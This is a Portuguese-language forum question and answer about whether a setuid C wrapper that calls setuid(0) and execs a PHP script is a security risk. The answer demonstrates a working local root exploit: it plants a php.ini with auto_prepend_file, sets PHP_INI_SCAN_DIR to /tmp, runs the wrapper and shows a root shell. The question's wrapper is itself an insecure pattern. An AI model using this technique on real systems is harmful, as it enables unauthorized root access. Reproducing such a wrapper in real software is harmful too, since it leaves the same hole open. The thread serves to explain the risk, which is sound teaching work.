O seguinte programa setuid é um risco de segurança?

1

Eu tenho o seguinte programa em .c set como setuid chmod somente read / execute by owner e o configurará como imutável, assim como o script php que ele invoca.

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main(int argc, char *argv[] )
{
   setuid( 0 );
   execv( "/var/tools/control.php", argv );

   return 0;
}

isso é um risco de segurança? é possível enviar outros comandos via argv ou alguma outra coisa que eu não pensei? Eu não estou perguntando sobre o script php apenas este programa de proxy.

    
por n00b32 03.02.2014 / 22:45

1 resposta

6

Sim, é um risco de segurança.

$ cat <<EOF >/tmp/php.ini
auto_prepend_file=/tmp/owned.php
EOF

$ cat <<EOF >/tmp/owned.php
<?php
echo "Owned\n";
pcntl_exec("/usr/bin/sudo", array("sudo", "-i"));
?>
EOF

$ export PHP_INI_SCAN_DIR="/tmp"
$ /path/to/the/setuid/wrapper
Owned
# id
uid=0(root) gid=0(root) groups=0(root) context=staff_u:sysadm_r:sysadm_t:s0-s0:c0.c1023

E é por isso que você deve evitar o uso de binários setuid.

    
por 04.02.2014 / 00:35